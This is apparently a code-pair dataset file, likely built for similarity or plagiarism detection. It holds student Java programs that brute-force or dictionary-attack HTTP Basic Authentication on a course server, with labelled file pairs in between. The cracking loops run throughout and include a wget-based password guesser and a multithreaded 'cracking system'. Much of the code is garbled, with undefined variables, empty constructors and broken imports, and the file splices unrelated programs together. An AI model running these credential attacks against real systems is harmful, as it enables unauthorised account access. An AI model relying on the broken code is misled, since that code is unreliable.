int cnt=0;
FileInputStream stream=null;
DataInputStream word=null;
try{
stream = new FileInputStream ("/usr/share/lib/dict/words");
word =new DataInputStream(stream);
t0 = System.currentTimeMillis();
while (word.available() !=0)
{
password=word.readLine();
if (password.length()!=3)
{
continue;
}
System.out.print("crackin...:");
System.out.print("\b\b\b\b\b\b\b\b\b\b\b" );
URL url = new URL (urlString);
String userPassword=username+":"+password;
String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());
URLConnection conc = url.openConnection();
conc.setRequestProperty ("Authorization", " " + encoding);
conc.connect();
cnt++;
if (conc.getHeaderField(0).trim().equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("The Number Of Attempts : "+cnt);
t1 = System.currentTimeMillis();
net=t1-t0;
System.out.println("Total Time in secs..."+net/1000);
return password;
}
}
}
catch (Exception e )
{
e.printStackTrace();
}
try
{
word.close();
stream.close();
}
catch (IOException e)
{
System.out.println("Error in closing input file:\n" + e.toString());
}
return "Password could not found";
}
} |
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
194.java | 161.java | 0 |
import java.io.*;
import java.util.*;
class BruteForce{
public static void main(String args[]){
String pass,s;
char a,b,c;
int z=0;
int attempt=0;
Process p;
char password[]={'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q',
'R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f','g','h',
'i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'};
z = System.currentTimeMillis();
int at=0;
for(int i=0;i<password.length;i++){
for(int j=0;j<password.length;j++){
for(int k=0;k<password.length;k++){
pass=String.valueOf(password[i])+String.valueOf(password[j])+String.valueOf(password[k]);
try {
System.out.println("Trying crack using: "+pass);
at++;
p = Runtime.getRuntime().exec("wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php");
try{
p.waitFor();
}
catch(Exception q){}
z = p.exitValue();
if(z==0)
{
finish = System.currentTimeMillis();
float time = finish - t;
System.out.println("PASSWORD CRACKED:"+ pass + " in " + at + " attempts " );
System.out.println("PASSWORD CRACKED:"+ pass + " in " + time + " milliseconds " );
System.exit(0);
}
}
catch (IOException e) {
System.out.println("Exception happened");
e.printStackTrace();
System.exit(-1);
}
}
}
}
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
082.java | 161.java | 0 | import java.net.*;
import java.util.*;
import java.io.*;
public class BruteForce {
URL url;
URLConnection uc;
String username, password, encoding;
int pretime, posttime;
String c ;
public BruteForce(){
pretime = new Date().getTime();
try{
url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/index.php");
}catch(MalformedURLException e){
e.printStackTrace();
}
username = "";
}
public void checkPassword(char[] pw){
try{
password = new String(pw);
encoding = new pw.misc.BASE64Encoder().encode((username+":"+password).getBytes());
uc = url.openConnection();
uc.setRequestProperty("Authorization", " " + encoding);
bf = uc.getHeaderField(null);
System.out.println(password);
if(bf.equals("HTTP/1.1 200 OK")){
posttime = new Date().getTime();
diff = posttime - pretime;
System.out.println(username+":"+password);
System.out.println();
System.out.println(diff/1000/60 + " minutes " + diff/1000%60 + " seconds");
System.exit(0);
}
}catch(MalformedURLException e){
e.printStackTrace();
}catch(IOException ioe){
ioe.printStackTrace();
}
}
public static void main (String[] args){
BruteForce bf = new BruteForce();
char i, j, k;
for(i='a'; i<='z'; i++){
for(j='a'; j<='z'; j++){
for(k='a'; k<='z'; k++){
char[] pw = {i, j, k};
bf.checkPassword(pw);
}
}
}
for(i='A'; i<='Z'; i++){
for(j='A'; j<='Z'; j++){
for(k='A'; k<='Z'; k++){
char[] pw = {i, j, k};
bf.checkPassword(pw);
}
}
}
for(i='A'; i<='Z'; i++){
for(j='a'; j<='z'; j++){
for(k='a'; k<='z'; k++){
char[] pw = {i, j, k};
bf.checkPassword(pw);
}
}
}
for(i='A'; i<='z'; i++){
if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){
continue;
}
for(j='A'; j<='Z'; j++){
for(k='a'; k<='z'; k++){
char[] pw = {i, j, k};
bf.checkPassword(pw);
}
}
}
for(i='A'; i<='z'; i++){
if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){
continue;
}
for(j='a'; j<='z'; j++){
for(k='A'; k<='Z'; k++){
char[] pw = {i, j, k};
bf.checkPassword(pw);
}
}
}
for(i='a'; i<='z'; i++){
for(j='A'; j<='Z'; j++){
for(k='A'; k<='Z'; k++){
char[] pw = {i, j, k};
bf.checkPassword(pw);
}
}
}
for(i='A'; i<='z'; i++){
if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){
continue;
}
for(j='A'; j<='z'; j++){
if((j=='[') || (j=='\\') || (j==']') || (j=='^') || (j=='_') || (j=='`')){
continue;
}
char[] pw = {i, j};
bf.checkPassword(pw);
}
}
for(i='A'; i<='z'; i++){
if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){
continue;
}
char[] pw = {i};
bf.checkPassword(pw);
}
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
176.java | 161.java | 0 |
public class ImageFile
{
private String imageUrl;
private int imageSize;
public ImageFile(String url, int size)
{
imageUrl=url;
imageSize=size;
}
public String getImageUrl()
{
return imageUrl;
}
public int getImageSize()
{
return imageSize;
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
105.java | 161.java | 0 |
import java.io.*;
import java.net.*;
import java.misc.BASE64Encoder;
public class Dictionary
{
public Dictionary()
{}
public boolean fetchURL(String urlString,String username,String password)
{
StringWriter sw= new StringWriter();
PrintWriter pw = new PrintWriter();
try{
URL url=new URL(urlString);
String userPwd= username+":"+password;
BASE64Encoder encoder = new BASE64Encoder();
String encodedStr = encoder.encode (userPwd.getBytes());
System.out.println("Original String = " + userPwd);
System.out.println("Encoded String = " + encodedStr);
HttpURLConnection huc=(HttpURLConnection) url.openConnection();
huc.setRequestProperty( "Authorization"," "+encodedStr);
InputStream content = (InputStream)huc.getInputStream();
BufferedReader in =
new BufferedReader (new InputStreamReader (content));
String line;
while ((line = in.readLine()) != null) {
pw.println (line);
System.out.println("");
System.out.println(sw.toString());
}return true;
} catch (MalformedURLException e) {
pw.println ("Invalid URL");
return false;
} catch (IOException e) {
pw.println ("Error URL");
return false;
}
}
public void getPassword()
{
String dictionary="words";
String urlString="http://sec-crack.cs.rmit.edu./SEC/2/";
String login="";
String pwd=" ";
try
{
BufferedReader inputStream=new BufferedReader(new FileReader(dictionary));
startTime=System.currentTimeMillis();
while (pwd!=null)
{
pwd=inputStream.readLine();
if(this.fetchURL(urlString,login,pwd))
{
finishTime=System.currentTimeMillis();
System.out.println("Finally I gotta it, password is : "+pwd);
System.out.println("The time for cracking password is: "+(finishTime-startTime) + " milliseconds");
System.exit(1);
}
}
inputStream.close();
}
catch(FileNotFoundException e)
{
System.out.println("Dictionary not found.");
}
catch(IOException e)
{
System.out.println("Error dictionary");
}
}
public static void main(String[] arguments)
{
BruteForce bf=new BruteForce();
bf.getPassword();
}
} |
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
136.java | 161.java | 0 |
import java.util.*;
import java.io.*;
import java.net.*;
public class MyWatchDogTimer extends TimerTask
{
public void run()
{
Runtime rt = Runtime.getRuntime();
Process prss= null;
String initialmd5,presentmd5,finalmd5,temp1;
String mesg1 = new String();
String subject = new String("Report of WatchDog");
int i;
try
{
prss = rt.exec("md5sum first.html");
InputStreamReader instre1 = new InputStreamReader(prss.getInputStream());
BufferedReader bufread1 = new BufferedReader(instre1);
sw = bufread1.readLine();
i = finalmd5.indexOf(' ');
initialmd5 = finalmd5.substring(0,i);
System.out.println("this is of first.html--->"+initialmd5);
prss = rt.exec("wget -R mpg,mpeg, --output-document=present.html http://www.cs.rmit.edu./students/");
prss = rt.exec("md5sum present.html");
InputStreamReader instre2 = new InputStreamReader(prss.getInputStream());
BufferedReader bufread2 = new BufferedReader(instre2);
temp1 = bufread2.readLine();
i = temp1.indexOf(' ');
presentmd5 = temp1.substring(0,i);
System.out.println("this is of present.html---->"+presentmd5);
if(initialmd5.equals(presentmd5))
System.out.println("The checksum found using md5sum is same");
else
{
prss = rt.exec("diff first.html present.html > diff.html");
System.out.println(" is different");
prss = null;
mesg1 ="php mail.php";
prss = rt.exec(mesg1);
}
prss = rt.exec("rm present.*");
}catch(java.io.IOException e){}
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
051.java | 161.java | 0 | import java.io.*;
import java.net.*;
import java.*;
import java.Runtime.*;
import java.Object.*;
import java.util.*;
import java.util.StringTokenizer;
public class Dictionary
{
String uname = "";
String pword = "null";
Vector v = new Vector();
int runTime;
public void doConnect(String connect, int num)
{
String = connect;
try
{
URL secureSite = new URL();
URLConnection connection = secureSite.openConnection();
if (uname != null || pword != null)
{
for(int i=num; i<v.size(); i++)
{
pword = (String)v.elementAt(i);
String up = uname + ":" + pword;
String encoding;
try
{
connection.misc.BASE64Encoder encoder = (con.misc.BASE64Encoder) Class.forName(".misc.BASE64Encoder").newInstance();
encoding = encoder.encode (up.getBytes());
}
catch (Exception ex)
{
Base64Converter encoder = new Base64Converter();
System.out.println("in catch");
encoding = encoder.encode(up.getBytes());
}
connection.setRequestProperty ("Authorization", " " + encoding);
connection.connect();
if(connection instanceof HttpURLConnection)
{
HttpURLConnection httpCon=(HttpURLConnection)connection;
if(httpCon.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED)
{
System.out.println("Not authorized - check for details" + " -Incorrect Password : " + pword);
doConnect(i, i+1);
}
else
{
System.out.println("\n\n\nPassword for HTTP Secure Site by Dictionary Attack:");
System.out.println( +"\tPassword : "+ pword);
runTime = System.currentTimeMillis() - runTime;
System.out.println("Time taken crack password (in seconds)"+" : "+ runTime/1000+"\n"+ "Tries taken crack password : "+ i);
System.exit(0);
}
}
}
}
}
catch(Exception ex)
{
ex.printStackTrace();
}
}
public Vector getPassword()
{
try
{
ReadFile rf = new ReadFile();
rf.loadFile();
v = rf.getVector();
}
catch(Exception ex)
{
ex.printStackTrace();
}
return v;
}
public void setTimeTaken( int timetaken)
{
runTime = timetaken;
}
public static void main ( String args[] ) throws IOException
{
runTime1 = System.currentTimeMillis();
Dictionary newDo = new Dictionary();
newDo.setTimeTaken(runTime1);
newDo. getPassword();
String site = "http://sec-crack.cs.rmit.edu./SEC/2/";
newDo.doConnect(site, 0);
}
}
class Base64Converter
{
public final char [ ] alphabet = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/' };
public String encode ( String s )
{
return encode ( s.getBytes ( ) );
}
public String encode ( byte [ ] octetString )
{
int bits24;
int bits6;
char [ ] out
= new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];
int outIndex = 0;
int i = 0;
while ( ( i + 3 ) <= octetString.length ) {
bits24=( octetString [ i++ ] & 0xFF ) << 16;
bits24 |=( octetString [ i++ ] & 0xFF ) << 8;
bits6=( bits24 & 0x00FC0000 )>> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0000003F );
out [ outIndex++ ] = alphabet [ bits6 ];
}
if ( octetString.length - i == 2 )
{
bits24 = ( octetString [ i ] & 0xFF ) << 16;
bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8;
bits6=( bits24 & 0x00FC0000 )>> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
out [ outIndex++ ] = alphabet [ bits6 ];
out [ outIndex++ ] = '=';
}
else if ( octetString.length - i == 1 )
{
bits24 = ( octetString [ i ] & 0xFF ) << 16;
bits6=( bits24 & 0x00FC0000 )>> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
out [ outIndex++ ] = '=';
out [ outIndex++ ] = '=';
}
return new String ( out );
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
062.java | 161.java | 0 |
import java.util.*;
import java.*;
import java.awt.*;
import java.net.*;
import java.io.*;
import java.text.*;
public class BruteForce {
public static String Base64Encode(String s) {
byte[] bb = s.getBytes();
byte[] b = bb;
char[] table = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',
'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
'0','1','2','3','4','5','6','7','8','9','+','/' };
if (bb.length % 3!=0) {
int x1 = bb.length;
b = new byte[(x1/3+1)*3];
int x2 = b.length;
for(int i=0;i<x1;i++)
b[i] = bb[i];
for(int i=x1;i<x2;i++)
b[i] = 0;
}
char[] c = new char[b.length/3*4];
int i=0, j=0;
while (i+3<=b.length) {
c[j] = table[(b[i] >> 2)];
c[j+1] = table[(b[i+1] >> 4) | ((b[i] & 3) << 4)];
c[j+2] = table[(b[i+2] >> 6) | ((b[i+1] & 15) << 2)];
c[j+3] = table[(b[i+2] & 63)];
i+=3;
j+=4;
}
j = c.length-1;
while (c[j]=='A') {
c[j]='=';
j--;
}
return String.valueOf(c);
}
public synchronized void getAccumulatedLocalAttempt() {
attempt = 0;
for (int i=0;i<MAXTHREAD;i++) {
attempt += threads[i].getLocalAttempt();
}
}
public synchronized void printStatusReport(String Attempt, String currprogress,String ovrl, double[] attmArr, int idx) {
DecimalFormat fmt = new DecimalFormat();
fmt.applyPattern("0.00");
System.out.println();
System.out.println(" ------------------------ [ CURRENT STATISTICS ] ---------------------------");
System.out.println();
System.out.println(" Current connections : "+curconn);
System.out.println(" Current progress : "+attempt+ " of "+ALLCOMBI+" ("+currprogress+"%)");
System.out.println(" Overall Attempts rate : "+ovrl+" attempts second (approx.)");
System.out.println();
System.out.println(" ---------------------------------------------------------------------------");
System.out.println();
}
public class MyTT extends TimerTask {
public synchronized void run() {
if (count==REPORT_INTERVAL) {
DecimalFormat fmt = new DecimalFormat();
fmt.applyPattern("0.00");
getAccumulatedLocalAttempt();
double p = (double)attempt/(double)ALLCOMBI*100;
double aps = (double) (attempt - attm) / REPORT_INTERVAL;
attmArr[attmArrIdx++] = aps;
printStatusReport(String.valueOf(attempt),fmt.format(p),fmt.format(getOverallAttemptPerSec()),attmArr,attmArrIdx);
count = 0;
} else
if (count==0) {
getAccumulatedLocalAttempt();
attm = attempt;
count++;
} else {
count++;
}
}
public synchronized double getOverallAttemptPerSec() {
double val = 0;
for (int i=0;i<attmArrIdx;i++) {
val+= attmArr[i];
}
return val / attmArrIdx;
}
private int count = 0;
private int attm;
private int attmArrIdx = 0;
private double[] attmArr = new double[2*60*60/10];
}
public synchronized void interruptAll(int ID) {
for (int i=0;i<MAXTHREAD;i++) {
if ((threads[i].isAlive()) && (i!=ID)) {
threads[i].interrupt();
}
notifyAll();
}
}
public synchronized void setSuccess(int ID, String p) {
passw = p;
success = ID;
notifyAll();
interruptAll(ID);
end = System.currentTimeMillis();
}
public synchronized boolean isSuccess() {
return (success>=0);
}
public synchronized void waitUntilAllTerminated() {
while (curconn>0) {
try {
wait();
} catch (InterruptedException e) {}
}
}
public synchronized int waitUntilOK2Connect() {
boolean interruptd= false;
int idx = -1;
while (curconn>=MAXCONN) {
try {
wait();
} catch (InterruptedException e) { interruptd = true; }
}
if (!interruptd) {
curconn++;
for (idx=0;idx<MAXCONN;idx++)
if (!connused[idx]) {
connused[idx] = true;
break;
}
notifyAll();
}
return idx;
}
public synchronized void decreaseConn(int idx) {
curconn--;
connused[idx] = false;
notifyAll();
}
public class ThCrack extends Thread {
public ThCrack(int threadID, int startidx, int endidx) {
super(" Thread #"+String.valueOf(threadID)+": ");
this.ID = threadID;
this.startidx = startidx;
this.endidx = endidx;
setDaemon(true);
}
public boolean launchRequest(String ID, int connID,String thePass) throws IOException, InterruptedException {
int i ;
String msg;
URL tryURL = new URL(THEURL);
connections[connID]=(HttpURLConnection) tryURL.openConnection();
connections[connID].setRequestProperty("Authorization"," "+Base64Encode(USERNAME+":"+thePass));
i = connections[connID].getResponseCode();
msg = connections[connID].getResponseMessage();
connections[connID].disconnect();
if (i==HttpURLConnection.HTTP_OK) {
System.out.println(ID+"Trying '"+thePass+"' GOTCHA !!! (= "+String.valueOf()+"-"+msg+").");
setSuccess(this.ID,thePass);
return (true);
} else {
System.out.println(ID+"Trying '"+thePass+"' FAILED (= "+String.valueOf()+"-"+msg+").");
return (false);
}
}
public void rest(int msec) {
try { sleep(msec); } catch (InterruptedException e) {}
}
public String constructPassword( int idx) {
int i = idxLimit.length-2;
boolean processed = false;
String result = "";
while (i>=0) {
if (idx>=idxLimit[i]) {
int nchar = i + 1;
idx-=idxLimit[i];
for (int j=0;j<nchar;j++) {
x = (idx % NCHAR);
result = charset.charAt((int) x) + result;
idx /= NCHAR;
}
break;
}
i--;
}
return result;
}
public String getStartStr() {
return constructPassword(this.startidx);
}
public String getEndStr() {
return constructPassword(this.endidx);
}
public void run() {
i = startidx;
boolean keeprunning = true;
while ((!isSuccess()) && (i<=endidx) && (keeprunning)) {
int idx = waitUntilOK2Connect();
if (idx==-1) {
break;
}
try {
launchRequest(getName(), idx, constructPassword(i));
decreaseConn(idx);
localattempt++;
rest(MAXCONN);
i++;
} catch (InterruptedException e) {
keeprunning = false;
break;
} catch (IOException e) {
decreaseConn(idx);
}
}
if (success==this.ID) {
waitUntilAllTerminated();
}
}
public int getLocalAttempt() {
return localattempt;
}
private int startidx,endidx;
private int ID;
private int localattempt = 0;
}
public void printProgramHeader(String mode,int nThread) {
System.out.println();
System.out.println(" ********************* [ BRUTE-FORCE CRACKING SYSTEM ] *********************");
System.out.println();
System.out.println(" URL : "+THEURL);
System.out.println(" Crack Mode : "+mode);
System.out.println(" Characters : "+charset);
System.out.println(" . Char : "+MINCHAR);
System.out.println(" . Char : "+MAXCHAR);
System.out.println(" # of Thread : "+nThread);
System.out.println(" Connections : "+MAXCONN);
System.out.println(" All Combi. : "+ALLCOMBI);
System.out.println();
System.out.println(" ***************************************************************************");
System.out.println();
}
public void startNaiveCracking() {
MAXTHREAD = 1;
MAXCONN = 1;
startDistCracking();
}
public void startDistCracking() {
int startidx,endidx;
int thcount;
if (isenhanced) {
printProgramHeader("ENHANCED BRUTE-FORCE CRACKING ALGORITHM",MAXTHREAD);
} else {
printProgramHeader("NAIVE BRUTE-FORCE CRACKING ALGORITHM",MAXTHREAD);
}
i = System.currentTimeMillis();
idxstart = idxLimit[MINCHAR-1];
if (MAXTHREAD>ALLCOMBI - idxstart) { MAXTHREAD = (int) (ALLCOMBI-idxstart); }
mult = (ALLCOMBI - idxstart) / MAXTHREAD;
for (thcount=0;thcount<MAXTHREAD-1;thcount++) {
startidx = thcount*mult + idxstart;
endidx = (thcount+1)*mult-1 + idxstart;
threads[thcount] = new ThCrack(thcount, startidx, endidx);
System.out.println(threads[thcount].getName()+" try crack from '"+threads[thcount].getStartStr()+"' '"+threads[thcount].getEndStr()+"'");
}
startidx = (MAXTHREAD-1)*mult + idxstart;
endidx = ALLCOMBI-1;
threads[MAXTHREAD-1] = new ThCrack(MAXTHREAD-1, startidx, endidx);
System.out.println(threads[MAXTHREAD-1].getName()+" try crack from '"+threads[MAXTHREAD-1].getStartStr()+"' '"+threads[MAXTHREAD-1].getEndStr()+"'");
System.out.println();
System.out.println(" ***************************************************************************");
System.out.println();
for (int i=0;i<MAXTHREAD;i++)
threads[i].print();
}
public BruteForce() {
if (isenhanced) {
startDistCracking();
} else {
startNaiveCracking();
}
reportTimer = new java.util.Timer();
MyTT tt = new MyTT();
reportTimer.schedule(tt,1000,1000);
while ((success==-1) && (attempt<ALLCOMBI)) {
try { Thread.sleep(100); getAccumulatedLocalAttempt(); } catch (InterruptedException e) { }
}
if (success==-1) {
end = System.currentTimeMillis();
}
getAccumulatedLocalAttempt();
double ovAps = tt.getOverallAttemptPerSec();
DecimalFormat fmt = new DecimalFormat();
fmt.applyPattern("0.00");
reportTimer.cancel();
try { Thread.sleep(1000); } catch (InterruptedException e) { }
synchronized (this) {
if (success>=0) {
System.out.println();
System.out.println(" ********************* [ URL SUCCESSFULLY CRACKED !! ] *********************");
System.out.println();
System.out.println(" The password is : "+passw);
System.out.println(" Number of attempts : "+attempt+" of "+ALLCOMBI+" total combinations");
System.out.println(" Attempt position : "+fmt.format((double)attempt/(double)ALLCOMBI*100)+"%");
